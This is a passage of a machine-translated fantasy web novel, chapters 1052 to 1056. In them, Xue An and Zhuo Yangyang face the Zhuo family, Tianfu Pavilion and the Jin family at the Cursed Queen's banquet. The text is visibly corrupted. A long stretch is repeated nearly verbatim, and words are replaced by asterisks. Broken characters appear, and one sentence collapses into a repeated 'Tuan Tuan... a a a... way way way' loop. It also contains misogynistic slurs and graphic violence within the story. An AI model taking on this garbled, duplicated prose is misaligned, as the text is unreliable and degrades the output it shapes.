    Many people recognized Zhuo Yangyang, and the look in the young man''s eyes became solemn.


    Because of his identity, it is the Xue An who has disturbed the entire Cursed City recently.


    At this time, the sailors who were half of the street let out a road, and Meng Lei walked out quickly.


    "Master Xue!"


    Xue An smiled slightly, "Captain Meng, thank you for your **** along the way, if you are not in a hurry, please wait here for a while!"


    After that, Xue An led Zhuo Yangyang to the city lord''s mansion.


    When the two of them disappeared behind the gate of the castle mansion.


    Someone said in astonishment: "He...he actually went?"


    is all silent.


    Meng Lei also looked solemnly at Xue An''s away back, praying silently in his heart.


    Master Xue, I hope you and Yang Yang can return safely!


    at the same time.


    The banquet hall is already very lively.


    The strong from all walks of life gathered together, and the acquaintances or unacquaintances all got together and started talking.


    Of course, the focus of the discussion is basically on the **** pattern that is about to live.


    In fact, many people understand that it is impossible to capture this **** pattern with their own strength, but besides the **** pattern, there are many good things.


    If you can grab the remains of an ancient god, the value will be inestimable.


    So everyone''s expressions are a little excited.


    People all imagine that they can benefit from this opportunity.


    Just when everyone is thinking about it.


    Xue An walked in slowly with Zhuo Yangyang.


    Although there is no surprise, the whole banquet hall is as if someone has pressed the stop button, and the noise gradually began to fall silent.


    It seemed that suddenly, the whole hall was quiet.


    All the people who felt the strange raised their heads and looked at the door.


    Mrs. Zhuo was talking to Kang Huazang with a smile on her face. When she felt the atmosphere was abnormal, she turned her head and looked at the door. The smile on her face disappeared instantly. Instead, she was full of grievances and palpitations Ruthless color.


    Especially when she saw Zhuo Yangyang''s eyes flashing with unprecedented brilliance and a smile from the heart appeared on her face, she couldn''t help trembling with anger.


    "Bitch! Like her mother, she is a shameless slut!"


    Zhuo Ya is more bitter than Mrs. Zhuo.


    Because she used to bully Zhuo Yangyang since she was a child, she didn''t expect to see her for a few days. Now the aura emanating from Zhuo Yangyang has made her look up.


    This feeling made Zhuoya almost vomit blood, and her crazy jealousy made her stare at Zhuo Yangyang, wishing to go up and tear her alive now!


    "Master Kang, this boy is Xue An who killed your junior brother!" Mrs. Zhuo suddenly whispered.


    But after waiting for a while, there was no response, and Mrs. Zhuo couldn''t help turning her head in surprise.


    I saw Kang Huazang staring at Xue An with a drunken face, and a bright red appeared on the face covered by the powder.


    "Kang...Master Kang?" Mrs. Zhuo was a little surprised.


    There was a violent commotion in the audience.


    Many people looked at Xue An dumbfounded.


    Especially those people who had previously asserted that Xue An would definitely not show up, are all stupid at the moment.


    At this moment, Kang Huazang licked his chapped lips and laughed extremely greedily.


    "No wonder the smell on Xu Bao''s corpse is so intoxicating, it turns out that he is really a handsome boy!"


    said, he slowly got up and walked forward.


    The crowd parted a road automatically.


    The old lady Zhuo smiled, seeing Xue An''s eyes full of gloat.


    At this time, Kang Huazang approached Xue An and smiled very happily.


    "Hello! Excuse me, my brother Xu Bao...was you killed by you?"


    dead silence.


    No one dared to speak.


    Everyone''s eyes focused on Xue An.


    Xue An looked at the boy and girl Kang Huazang and raised his eyebrows, nodded, "Yes!"


    "It''s great, your palm is really great! Can you give me another test? How can a palm break a person to life?" Kang Huazang was excited and almost crazy.


    And the brilliance in his eyes is even more chilling.


    Many people have a chill in their hearts, thinking of the legends of this senior brother Tianfuting, they can''t help but step back subconsciously.


    But Xue An chuckled lightly, "Oh? I want to try? How do I try? Do you use you as a test?"


    Kang Huazang chuckled, "I can''t, I''m afraid of pain! Why don''t you...use her!"


    Talking, Kang Huazang pointed to Zhuo Yangyang behind Xue An.


    "Women or something, I hate it the most, kill her, just to do an experiment, what do you think?"

 Chapter 1052： Women or something...the most annoying!

    Everyone looked at the carriage blankly.


    At this moment, a soldier guarding the city lord��s mansion stepped forward and shouted in a deep voice: "In front of the city lord��s mansion, the gods dismount!"


    This is a dead rule.


    No matter who it is, what status and status, he must dismount and walk when passing this long street.


    Because it represents respect for the strong.


    But the carriage didn''t stop at all, it was still moving forward.


    The soldiers shouted angrily, immediately formed a formation and moved their hands directly.


    These soldiers have been tempered with secret methods in the army, and each of them has strength not weaker than Sanxian, especially when they are combined into a battle formation, their strength soars exponentially.


    Even the powerhouse of the semi-god realm is unwilling to confront such a well-trained soldier.


    But at the moment when these soldiers'' attack was about to hit the carriage.


    A calm voice came from inside.


    "Go!"


    Boom!


    Although it was just a light drink, the soldiers of this team were hit by a heavy hammer on their chest.


    Qi Qi flew far away, and after landing, it was difficult to get up for a while.


    From the beginning to the end, there was nothing unusual in the carriage, and even the extra aura was not revealed. It was just a simple scroll that directly dismantled the attack of a whole team of soldiers.


    The crowd onlookers was a little shocked.


    At the same time, the carriage slowly drove through the street, and finally stopped in front of the gate of the city lord��s mansion.


    Then I saw a slender palm carved like sapphire sticking out of the car curtain. The next moment, a young man in white lifted the car curtain and appeared in front of everyone.


    The appearance of this boy made the audience silent.


    At first glance, this young man seems to be only eighteen or nine years old, and he is handsome and fluttering like a fairy.


    But after a closer look, many people can''t help but have another illusion.


    Because they found that they couldn''t tell how old this boy was.


    And all this stems from his eyes.


    What kind of eyes are those!


    is as calm as the unpleasant sea, but inside it seems to contain the huge energy that can destroy the world, which makes people afraid to look directly.


    Although he just stood there simply, he was like a **** who judges everything.


    When everyone was shaking at it, the boy looked up at the majestic and wide City Lord''s Mansion and smiled lightly.


    "Today...it was really lively!"


    As he said, the boy got out of the carriage and said lightly: "Yang Yang, come down! This good show is about to begin!"


    Following the voice, another purple-clothed girl walked down from the carriage.


    The appearance of this girl caused an uproar in the audience.


    "It''s Zhuo Yang Yang!"


    "Yes, that''s the orphan who completely broke with the Zhuo family!"


    Many people recognized Zhuo Yangyang, and the look in the young boy''s eyes became solemn.


    Because of his identity, it is Xue An who has stirred up the entire Cursed City recently.


    At this time, the sailors who were half of the street let out a road, and Meng Lei walked out quickly.


    "Sir Xue!"


    Xue An smiled slightly, "Captain Meng, thank you for your **** along the way. If you are not in a hurry, please wait here for a while!"


    After that, Xue An led Zhuo Yangyang to the city lord''s mansion.


    When the two of them disappeared behind the gate of the castle mansion.


    Someone said in astonishment: "He...he actually went?"


    is all silent.


    Meng Lei also looked solemnly at Xue An''s away back, praying silently in his heart.


    Master Xue, I hope you and Yang Yang can return safely!


    at the same time.


    The banquet hall is already very lively.


    The strong from all sides gathered together, and those who knew or did not know all got together and started talking.


    Of course, the focus of the discussion is basically on the **** pattern that is about to live.


    In fact, many people understand that it is impossible to capture this **** pattern with their own strength, but besides the **** pattern, there are many good things.


    If you can grab the remains of an ancient god, the value will be inestimable.


    Therefore, everyone''s expressions are a little excited.


    People all imagine that they can benefit from this opportunity.


    Just when everyone is thinking about it.


    Xue An walked in slowly with Zhuo Yangyang.


    Although there is no surprise, the whole banquet hall is as if someone has pressed the stop button, and the noise gradually began to fall silent.


    It seemed that suddenly, the whole hall was quiet.


    All the people who felt the strange raised their heads and looked at the door.


    The old lady Zhuo was talking to Kang Huazang with a smile on her face. When she felt the atmosphere was abnormal, she turned her head and looked at the door. The smile on her face disappeared instantly. Instead, she was full of grievances and palpitations. Ruthless color.


    Especially when she saw Zhuo Yangyang''s eyes flashing with unprecedented brilliance, and a smile from the heart appeared on her face, she couldn''t help trembling with anger.


    "Bitch! Like her mother, she is a shameless woman!"


    Zhuo Ya is more bitter than the old lady Zhuo.


    Because she used to bully Zhuo Yangyang as a pleasure since she was a child, she didn''t expect to see her for a few days. Now the aura radiating from Zhuo Yangyang has made her look up.


    This feeling made Zhuo Ya almost vomit blood, and her crazy jealousy made her stare at Zhuo Yang Yang, wishing to go up and tear her alive now!


    "Master Kang, this boy is Xue An who killed your junior brother!" Mrs. Zhuo suddenly whispered.


    But after waiting for a while, there was no response, and Mrs. Zhuo couldn''t help turning her head in surprise.


    I saw Kang Huazang staring at Xue An with a drunken face, and the face covered by the powder could not help showing a tingling red.


    "Kang...Master Kang?" Mrs. Zhuo was a little surprised.


    There was a violent commotion in the audience.


    Many people looked at Xue An dumbfounded.


    Especially those people who had previously asserted that Xue An would definitely not show up, are all stupid at the moment.


    At this moment, Kang Huazang licked his chapped lips and laughed extremely greedily.


    "No wonder the smell on Xu Bao''s corpse is so intoxicating, it turns out that he is really a handsome boy!"


    said, he slowly stood up and walked forward.


    The crowd parted a road automatically.


    The old lady Zhuo smiled, seeing Xue An''s eyes full of gloat.


    At this time, Kang Huazang approached Xue An and smiled very happily.


    "Hello! Excuse me, my junior brother Xu Bao...was you killed by you?"


    dead still.


    No one dared to speak.


    Everyone''s eyes were focused on Xue An.


    Xue An looked at this male and female Kang Huazang and raised his eyebrows slightly, nodded, "Yes!"


    "It''s great, your palm is great! Can you give me another test? How exactly does one palm break a person?" Kang Huazang was excited and almost crazy.


    And the brilliance in his eyes is even more chilling.


    Many people have a chill in their hearts, thinking of the legends of this master Tianfuting, they can''t help but step back subconsciously.


    But Xue An chuckled lightly, "Oh? Want to try? How to try? Do you use you as a test?"


    Kang Huazang chuckled, "I can''t, I''m afraid of pain! Why don''t you...use her!"


    Talking, Kang Huazang pointed to Zhuo Yangyang behind Xue An.


    "Women or something, I hate it the most. Kill her, just to do an experiment, what do you think?"

 Chapter 1053： Cursed queen

    The atmosphere suddenly became solemn.


    Many people looked at Xue An with gleeful eyes, especially the Zhuo family, they could hardly wait for Kang Huazang to kill Xue An now.


    But beyond everyone''s expectations.


    Xue An did not have any angry expression on his face, and even looked at Kang Huazang with a playful look, "It sounds like you seem to hate women?"


    Kang Huazang flashed a look of disgust in his eyes, "Of course, women are the most despicable creatures, of course I hate them the most! If possible, I really wish I would kill all the women in the world now!"


    The bitterness and cruelty contained in the words caused many women in the audience to be disgraced.


    Xue An shook his head and sighed, "What a hateful person must be pitiful!"


    The voice was not loud, even Kang Huazang could hear clearly, his face changed, and he was about to speak.


    Xue An raised his eyes to look at him, and said faintly: "Since you want me to do the experiment so, you can do it with you, and it will be considered as a complete journey with your brothers. What do you think?"


    Hearing this, everyone in the audience changed their colors.


    No one thought that this gentle-looking boy could speak so decisively.


    This clearly shows that you are going to talk to the people of Tianfu Pavilion with a hard steel front!


    Where is ���� Ke Tianfu Pavilion?


    That is the leading sect in this field of heaven. There are countless disciples of its followers, and they are always arrogant and domineering.


    This young man who did not know where to act like this, I am afraid it will cause great trouble!


    Many people shook their heads secretly.


    As expected.


    As soon as Xue An''s voice fell, I saw the disciples of the Tianfu Pavilion who had followed Kang Huazang shouting.


    "Where did the kid come from, dare to talk to Brother Kang like this!"


    "That is, if you kill Junior Brother Xu Bao, don''t say it, and speak so arrogantly, kill him!"


    In the voice of the words, the big man who had previously said that he wanted to avenge Xu Bao rushed forward in a rage and needed to do it.


    Kang Huazang stretched out his hand and stopped him.


    The big man was taken aback, and then said angrily: "Big brother, this guy is really hateful, why don''t you let me slap me to death! Or revenge for Xu Bao!"


    Kang Huazang glanced at him coldly, "Are you teaching me how to do things?"


    Hearing this, the menacing man was like a deflated ball, shaking his whole body, shaking his head in horror: "Big brother, you misunderstood, how dare I teach you to do things, I''m just too angry, you... ."


    "Go!" Kang Huazang yelled coldly.


    This big man retreats in shock.


    Then Kang Huazang raised his head to look at Xue An, and said coldly: "I don''t know what you are relying on, but what I want to tell you is that in this Tianyu, my Tianfu Pavilion is in charge of life and death. Who are you, you have to be obedient when you get here! This truth is forged with countless blood, I think you should understand!"


    From beginning to end, the smile on Xue An''s face has not changed. Even after hearing what Kang Huazang said, he just nodded with a smile.


    "To understand is to understand, but I always don''t like to reason with people like you, because I...just reason!"


    Boom!


    The audience was in an uproar.


    Many people looked at Xue An with a surprised look.


    Zhuo family members all looked happy, thinking that Xue An would definitely die.


    As expected.


    I saw Kanghua Zang smiled, "You are the truth? Very good, then I will learn and teach you the truth today!"


    said, around Kanghua''s hiding area, more than a dozen rings composed of runes appeared.


    These rings emit a weird and cold light, and they rotate at a rapid speed.


    "It''s the ghost rune of Tianfu Pavilion!" someone exclaimed.


    Facing the aggressive Kang Huazang, Xue An stood there with his hands on his back, with a calm expression on his face, and even looked at these rune rings with interest.


    "It''s interesting, but unfortunately the heat is too bad!" Xue An casually commented.


    Kang Huazang was furious when he heard that, thinking that Xue An was deliberately provoking, so he shouted angrily and wanted to take action.


    But at this moment, a cold female voice came.


    "Stop it!"


    ordered, Kang Huazang, who was originally full of anger, was taken aback, then he took a half step back, casually scattered the runes surrounding his body, and stood silently.


    At the same time, I saw a woman wearing a gorgeous long skirt walking into the banquet hall.


    There was a silence at first, and then there was a violent commotion.


    "I have seen the Empress!"


    "I have seen the lord!"


    Everyone stood up and bowed to salute.


    Because it is the Queen of the Curse who has been in charge of the Cursed City for a hundred years and has unfathomable strength.


    The woman''s face was covered by a layer of mist, and she couldn''t see her appearance clearly, but from the slim and moving figure like a beauty snake, one can also guess that this woman must be a stunning beauty.


    At this time, the women walked into the arena, but stopped when they passed Xue An.


    "This must be Mr. Xue who has recently disturbed my cursed city?"


    Xue An smiled and said nothing.


    "I''m justified! Although these words are straightforward to say, but you have to weigh your own strength, otherwise... But it is easy to be dazzled by the wind!"


    After all, the cursed queen didn''t wait for Xue An to respond, so she stepped inside.


    Everyone parted a path.


    Even Kang Huazang, who is known for his arrogance and arrogance, stood aside with his hands down at this moment.


    The cursed empress said lightly when she passed him: "Next time I dare to do something in my city lord mansion, I will make you Tianfu Pavilion pay a tragic price!"


    Kang Huazang''s eyes flashed, then he lowered his head and said in a deep voice, "Yes!"


    When the Queen came, the atmosphere of the audience changed.


    Many people bowed their heads respectfully, and didn''t even dare to look up.


    It wasn''t until she got on the high platform and sat on the specially prepared chair that the atmosphere eased slightly.


    Then the cursed queen looked around the audience and said lightly: "What I called for everyone to come here today, I think everyone should be very clear!"


    "But what I want to say is, I don''t care which way you are strong, when you get to me, you have to obey the rules I set! You... understand?"


    Everyone responded respectfully: "Yes!"


    "Very good! This glass, everyone drink together!" The cursed queen raised the glass in her hand.


    People raised their glasses and drank all at once.


    "The Queen! When are we going to start?" Someone can''t wait to ask Don''t worry, there is a distinguished guest who hasn''t arrived yet, let''s wait a moment! "The curse queen said lightly.


    The distinguished guest hasn''t arrived yet?


    The people looked at each other, wondering who the cursed queen was talking about.


    But since she said so, people had no choice but to press their **** and wait.


    The atmosphere in the banquet hall was completely relaxed.


    People gathered everything in small groups, lowered their voices and talked excitedly.


    As if Xue An and Zhuo Yangyang were isolated on purpose, they stood alone.


    Zhuo Yangyang looked a little ugly, and whispered: "My lord..."


    Xue An smiled and said in a playful tone: "Don''t worry, let''s watch first!"

 Chapter 1054： Dont be afraid, I just look at your broken teeth...

    The banquet continued. People who knew each other got together to talk and laugh happily, and there was a scene of singing and dancing.


    But just outside this small circle, Xue An and Zhuo Yangyang were completely isolated.


    Everyone is deliberately keeping a distance from the two of them.


    In the eyes of these people, this Xue Antai knows nothing about life and death. Without a foundation, he has offended the three major forces of the Zhuo family, Tianfu Pavilion, and the Jin family.


    It would be fine if only this was the case, but the attitude of the queen just now showed that she was also quite critical of what Xue An did.


    In this way, even people who have no ill feeling towards Xue An dare not get close.


    After all, in the eyes of many people, this Xue An is obviously already in the Jedi, it is nothing more than a matter of time.


    But in the strange eyes of everyone, Xue An led Zhuo Yangyang to the table, picked up the exquisite meal, and began to feast on it like no one else.


    After eating a few bites, Xue An looked up at Zhuo Yangyang, who was holding the dinner plate but was a little lost, and couldn''t help but smile, "Eat, why not?"


    "Ah..." Zhuo Yangyang was taken aback, and then nodded hard, "Yes!"


    said, she also started to eat in small bites.


    But it can be seen that she is very worried, and she is a little bit unaware.


    People started talking in whispers.


    "Hey, I can still eat something at this time. I really admire Xue An''s courage!"


    "Yeah! If I were him, I would have slipped away quietly! I''m still here, isn''t it looking for death?"


    Although these comments were not loud, they still floated into Zhuo Yangyang''s ears, making her complexion harder to look.


    Xue An didn''t hear about it, and still ate slowly.


    At this moment, Zhuo Ya, who was wearing an exquisite and expensive evening dress, walked over.


    Behind her, she followed a group of gorgeously dressed and luxurious women.


    Seeing Zhuoya, Zhuo Yangyang''s eyes showed a hint of fear, and she subconsciously stepped back.


    "Yeah, isn''t this Miss Zhuo, why? I haven''t seen you for a few days. Didn''t I say hello when I met?" Zhuo Ya said playfully.


    Zhuo Yangyang turned pale, and said solemnly, "Zhuoya, I have left your Zhuo family now, so please don''t talk to me with this attitude!"


    "My attitude? What is my attitude?" Zhuo Ya sneered, then turned to look at the group of little sisters behind her.


    "Everyone must know her! If you don��t know her, it��s okay, I can tell you that she was a member of our Zhuo family! Her mother was a servant girl who served my father, but I don��t know what she used. Means, I was pregnant with my father''s child! I finally gave birth to her!"


    "To put it plainly, it''s just after a cheap maid!"


    Zhuoya''s words made the women laugh out loud.


    "Oh, that''s how it is!"


    "Tsk, no wonder!"


    At this time, these sounds attracted the attention of many people around.


    Zhuo Yang Yang was pale with anger by Zhuo Ya''s words, and tears loomed in his eyes. She couldn''t help but peek at Xue An, wanting to see what Xue Anhui''s attitude is.


    But at this time, Xue An seems to have been fascinated by a table of delicious food. He has been eating with his head down, as if he hadn''t heard the words just now.


    Zhuo Yangyang''s heart sank, and she was stunned for a while, not knowing what to say.


    At this time, Zhuo Ya also saw Xue An''s attitude, and couldn''t help but secretly relieved.


    To be honest, she was full of fear for Xue An, after all, she felt a pain in her face even now that she slapped on the dock.


    Seeing what Xue An looks like now, he seems to be scared.


    This made Zhuo Ya finally let go of her hanging heart.


    Mother is right, this Xue An is really scared!


    Thinking of this, Zhuo Ya looked at Zhuo Yang Yang with a smug look, "Zo Yang Yang, it''s a waste of your organs, thinking that if you find a backer, you can treat the Zhuo family as much as you can, but don''t you see that you Is the backer of the country now hard to protect itself?"


    With that said, Zhuo Ya glanced at Xue An with a contemptuous look, and sneered: "What about the arrogance before? Why is it gone? Do you think that all the adults are here now, so you dare? Hiding here to eat?"


    ''S words caused these women to cover their mouths and laugh.


    Some people even started talking unscrupulously.


    "Tsk tsk, it looks good, but it''s too rough!"


    "Look at this, maybe it''s a soil bun from some small place! If you think you are a little capable, it will be arrogant! Now be honest!"


    "Yes, do you really think this cursed city is the one-third acre of land in your own home? It''s ridiculous!"


    These extremely harsh comments made Zhuo Yangyang''s complexion more ugly, and suddenly he burst out.


    "To shut up!"


    As far as the sound wave was, the women standing in front were all shaken back several steps.


    These people were all stunned, and then Zhuoya said angrily: "Zhuo Yangyang, what do you want to do? I tell you, this is a dinner set by the Queen, if you dare..."


    Before the words fell, Xue An, who was standing at the table, did not lift his head, and said lightly: "Yang Yang, smash her mouthful teeth!"


    Zhuoya was taken aback, just about to shout.


    Zhuo Yangyang rushed to Zhuo Ya with lightning speed, and grabbed her hair. Then there were a few loud slaps in the face.


    Happiness.


    After ���� a few times, Zhuoya''s face swelled at a speed visible to the naked eye.


    Then Zhuo Yangyang let go of her hand with a serious face.


    Zhuoya slumped to the ground like a puddle of mud, then opened her mouth and spit out a large mouthful of blood mixed with broken teeth.


    The crowd who ordered the onlookers were all surprised by it.


    , especially those women who came with Zhuo Ya, looked at this scene with horror.


    "Zhuo Yang Yang...you...you dare to hit me?" Zhuoya roared with a leaky mouth because the teeth in her mouth had been smashed.


    Zhuo Yangyang said coldly: "Is it weird? If you dare to slander my adults, I will smash your face!"


    Zhuoya trembled just wanted to say something.


    Xue An, who had been eating with his head down, put down the dinner plate in his hand and sighed softly.


    "Seriously, I hate people talking while I am eating!"


    As he said, Xue An turned his head and smiled at Zhuo Yasen on the ground.


    "Especially a woman like you!"


    Seeing Xue An''s smile, Zhuo Ya was shocked.


    And then Xue An slowly walked towards her.


    "You...what do you want to do? I can tell you, this is the City Lord''s Mansion, you..." Zhuo Ya said with a horrified face.


    Xue An was unmoved, and when he walked around Zhuo Ya, he slowly squatted down, looked at Zhuo Ya with red and swollen cheeks, and smiled slightly.


    "Don''t be afraid, I won''t hit you! I just want to see if the teeth in your mouth have been smashed!"

 Chapter 1055： My name is Xue An, thats all!

    Xue An raised his head to look at Zhuo Yangyang, and said lightly: "The result is satisfactory, but you let me down!"


    "How did I tell you before! Let these people learn to be in awe! So when she first started clamoring, you should do it! Instead of having to wait until later, understand?"


    Zhuo Yang Yang''s eyes gradually showed the color of determination, nodded in response: "Yes! Yang Yang understands!"


    Then Xue An glanced at these gorgeous women. As far as his eyes could be, the expressions of these women changed drastically, and they took a step back.


    Then Xue An waved his hand and said lightly: "Go away!"


    This small storm is over.


    But Xue An and Zhuo Yangyang attracted more people''s attention.


    Especially Zhuo family.


    Actually, the reason why Zhuo Ya came to provoke was also the instruction of Mrs. Zhuo and Mrs. Zhuo.


    But the two of them never thought that it was not Xue An who did it, but Zhuo Yangyang, who has always been honest and tolerant.


    The two of them stared blankly.


    Then the old lady Zhuo gave a furious meal with the walking stick in her hand, "Ban maid! This **** maid! How dare she hit someone?"


    Zhuoya cried miserably, "Grandma, mother, you have to breathe this out for me!"


    Mrs. Zhuo''s expression was extremely gloomy, "Don''t worry! When the dinner is over, as soon as the queen leaves, the people in Tianfu Pavilion will be the first to kill this guy! Then we will catch this lowly maid back, slowly Torture her slowly!"


    When she said this, the hatred in Mrs. Zhuo''s eyes was about to overflow.


    At this moment.


    I heard a sudden violent commotion outside.


    Then I heard a faint exclamation.


    "It''s from the Jin family!"


    "Patriarch Jin is here!"


    The voice silenced the noisy banquet hall.


    Including the Queen of Cursed who was chatting with several big family heads, she couldn''t help turning her head and looking at the door.


    and a group of people walked into the banquet hall.


    The one who walked in the front was actually a beautiful woman in her twenties.


    and Jin Xiong, the head of the Jin family, followed behind, with a proud expression on his face.


    After seeing this woman, many people were taken aback.


    Especially some people who have a good relationship with the Jin family, their complexion has changed greatly.


    because they all recognized the person,


    At this moment, I saw the woman step forward, arched her hand slightly, and said in a calm tone: "The first maid under the seat of God, Jin Shuman, the daughter of the Jin family, I have seen the Empress!"


    That''s right.


    This woman is Jin Shuman, the daughter of Jin Xiong, the head of the Jin family!


    But most people don''t know her, because Jin Shuman left the Tianyu area very early and heard of working as a waitress under the hands of a certain heavenly figure.


    Now it seems that it is true.


    At this time, the Queen of Cursing gave a faint voice, "Why are you? Why didn''t Lord Son of God come?"


    Jin Shuman smiled faintly, "My Lord God has delayed something for a while, so he sent me a step first, and he will come over later!"


    The cursing queen nodded, "If so, please take a seat!"


    Jin Shuman sat proudly on the main seat.


    Jin Xiong looked at You Rongyan, and stood behind his daughter.


    The crowd began to talk quietly.


    "This Jin Patriarch went out in heavy rain for a day, but only picked up his own daughter?"


    "The point is that you didn''t listen to her? She is just a waitress in the seat, but with such an identity, she was invited to the table by the Queen. So what kind of identity does this so-called son of God really have?"


    People are guessing, and there is shock on the face.


    At this time.


    Jin Shuman said: "The Queen, although my son has not arrived yet, he made it clear that I can represent him with full authority!"


    "Oh? What do you mean, Lord Godson?" The cursing queen said lightly.


    "It''s very simple, this time the **** of the world, my **** son wants it!" Jin Shuman said proudly.


    These words are like stabbing a hornet''s nest.


    Several major families nearby, including those in Tianfu Pavilion, all changed their complexions, and some people even hummed uncontrollably.


    After all, there is only one **** pattern, and many people are determined to get it.


    And at this time a **** child suddenly appeared to take away, these people were naturally very angry.


    The cursed queen also chuckled, "Is this what you meant, or did you mean it?"


    "It is what I mean, but it is also the meaning of my **** son!"


    Speaking, Jin Shuman looked around the audience, not moved by the glaring eyes of everyone, but said lightly.


    "I know you all can''t figure it out. My **** son also said that I will give you some compensation afterwards! And for the remains of the ancient gods that were present together, my **** son will not move, but this **** pattern cannot be discussed."


    These words made everyone look different, and then they all looked at the cursed queen.


    After all, among the people present, only the cursed empress has the highest identity and cultivation.


    saw the mist shivering over the cursed queen''s face, and then lowered his head slightly.


    "If the son of God really said that, then I have no objection!"


    Everyone''s mind was shocked.


    Because of cursing the queen''s attitude, it is obviously submissive!


    And it can make this city master level powerhouse give up the **** pattern, what is the origin of this **** son?


    Everyone was amazed at it, but no one dared to speak.


    Even Kang Huazang of Tianfu Pavilion, his face was gloomy and he lowered his head at the moment, not knowing what he was thinking.


    Jin Shuman saw this, a proud smile appeared on his face, "Very good! It seems that everyone has no opinion, then..."


    hadn''t finished speaking, a voice came from behind with a slight indifference.


    "Wait a minute!"


    Ok?


    Everyone was surprised.


    Jin Shuman looked even more cold, and said coldly: "Who?"


    The crowd parted a path automatically, and then Xue An led Zhuo Yangyang to walk slowly.


    There was a dead silence in the banquet hall.


    Jin Xiong''s eyelids jumped wildly, and said angrily: "It''s actually you?"


    Xue An smiled slightly, "Yes, it''s me!"


    Jin Xiong said to Jin Shuman, "Man''er, this is the guy who killed your brother Chun''er!"


    Jin Shuman''s eyes were getting cold when he heard the words, and he said coldly: "What Xue An are you?"


    Xue An nodded.


    "Very good! You killed my Jin family This bill will be calculated later, I just want to know now, what do you want to do?"


    Everyone''s eyes focused on Xue An.


    Xue An smiled slightly, "Actually, there is nothing serious, but this **** pattern happens to be useful to me, so I want to tell you to tell your **** son...I want this **** pattern!"


    Everyone looked at Xue An with a surprised look.


    Then there was a commotion.


    Someone shook his head secretly, thinking that Xue An must be crazy.


    Those who had hatred with Xue An all showed joy.


    Jin Shuman was also taken aback at first, and then laughed in anger, "Oh? But I don''t know where you are, how dare you say that?"


    Xue An smiled, "I am not a big man, my name is Xue An, that''s all!"

 Chapter 1056： Remember to be polite when speaking in the next life...

    Jin Shuman leaned on the chair with a ridiculous smile on her face.


    "Should I praise you for your courage, or should I say you are not ashamed?"


    Xue An smiled noncommitantly, "It''s okay, but I think these words are more suitable for you and your son of God!"


    "Presumptuous!" Jin Shuman stood up suddenly, his face full of chill.


    These two words seem to be commands, and the masters of the Jin family who followed in came forward silently and surrounded Xue An.


    Seeing this scene, the old lady Zhuo was pleased and winked at her men.


    Zhuo''s family followed closely behind, and also gathered around, staring at Xue An with enthusiasm.


    For a time, the atmosphere in the field became extremely solemn.


    But the cursed empress did not seem to have seen it, her head down, she didn''t know what she was thinking.


    Jin Xiong grinned and said: "Xue An, the account of your murder of my son has not been settled, you dare to come to the dinner party, how bold!"


    "Yes, Xue An, today is your death date!" Old lady Zhuo was happier than anyone else.


    In the face of the heavy siege, Xue An''s expression was still indifferent. He even looked at Kang Huazang in the distance with interest, and said lightly: "Why? Don''t you people from Tianfu Pavilion go together?"


    There was a low commotion among the crowd.


    Many people looked at Xue An with shocking and inexplicable eyes, and some people even shook their heads secretly, thinking that Xue An must be crazy.


    Under the siege of two giants, there are still people in the mood to provoke Tianfu Pavilion. Isn''t this crazy?


    Kang Huazang''s face also showed a very strange look, and then he smiled sadly.


    "I couldn''t figure out, what on earth did you rely on to dare to be so arrogant! But now I figure it out!"


    "Oh? What is it?" Xue An smiled.


    "You are simply a delusion who doesn''t know the height of the sky!" Kang Huazang raised his hand and said coldly, "Enclose him!"


    gave an order.


    These people at Tianfu Pavilion rushed forward like wolves.


    Actually, they had already seen Xue An displeased, and they couldn''t wait to teach this guy a lesson that he will never forget.


    After surrounding Xue An, the old man laughed grinningly.


    "The surname is Xue, how did you kill Xu Bao in the first place, today we will deal with you!"


    After all, everyone in the Tianfu Pavilion flashed with light, and they were faintly connected.


    "It''s Fu Zhen!" Someone exclaimed.


    Now, almost everyone thinks Xue An is bound to die.


    You must know that this talisman formation is the special skill that Tianfu Pavilion is famous for. It is a secret technique similar to the battle formation.


    What''s more, Xue An is still besieged by two great families.


    In this situation, even the strong man at the city master level has to retreat.


    At this moment, the old lady Zhuo saw that the situation had been achieved, she couldn''t help showing her joy, and then said in an extremely resentful tone: "The surname is Xue, aren''t you very arrogant? Why are you not talking now?"


    "Yes, how did you slap me back then?" Zhuo Ya, whose face was red and swollen, also yelled.


    Jin Xiong hugged his arms and couldn''t help but sneered: "Xue, you kneel down now, our Jin family can consider giving you a good time!"


    "Patriarch Jin is right. Kneel down now, and we will let you die happily!" Mrs. Zhuo agreed.


    For a while, the banquet hall was filled with drum noises from Jin Zhuo''s family.


    "Kneel down honestly!"


    "Yes! Kneel down!"


    Among these shouts, many people looked at Xue An, who was besieged by Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tuan Tu Tuan Tu Tu Tu Tu a a a a a a a a a large manner a city a a a a a a time way way way way to in as in.


    And Zhuo Yangyang''s complexion was as pale as paper, because the situation she was most worried about had happened.


    This is a siege from all sides of the Cursed City!


    Even those big factions have to retreat, how can Master Xue respond?


    Zhuo Yangyang bit her silver teeth secretly and looked at Xue An.


    Seeing Xue An lowered his head at this moment, he didn''t know what he was thinking.


    But in Zhuo Yangyang''s eyes, Xue Ana''s once tall figure has become thinner now.


    Zhuo Yangyang''s heart began to sink gradually.


    But at this moment, Xue An shook his head and chuckled lightly.


    "Yang Yang, do you remember what I said to you before?"


    Zhuo Yang Yang was taken aback.


    At the same time, Xue An slowly raised his head, his eyes shining like stars, which made people afraid to look directly.


    "I said, let those who look down on you learn to be in awe and pay the price they deserve!"


    Zhuo Yangyang''s eyes flashed slightly, and then solemnly nodded, "Yes! You did say that before."


    "Very good! Let''s do it now! This great show should also end!" Xue An said lightly.


    Everyone was taken aback when they heard the words, and many people looked at each other even more, seeing the surprise in each other''s eyes.


    What does this boy say? What is he going to do?


    At this time, the big man in Tianfu Pavilion grinned and said: "Boy, are you scared stupid? What nonsense is this talking..."


    The words are not finished yet.


    Xue An turned his eyes and glanced at him lightly, and then a huge force came crashing on his head.


    ��!


    After ���� there was a muffled sound, the big man burst out from his head, and pressed down layer by layer.


    in an instant.


    A man who was more than two meters tall was compressed into a meatloaf no more than thirty or forty centimeters.


    The blood mixed with the internal organs squeezed into mashed meat flowed freely on the ground.


    The strong smell of blood spread, making people feel sick.


    Looking at this horrible and weird scene, everyone''s complexion was pale.


    And Xue Aner shook his head and sighed, "Remember to be polite when speaking in your next life!"


    As he said, Xue An looked around the audience, the corners of his mouth gradually raised, and smiled sensibly, "I hope you will like the next killing!"


    The audience was silent.


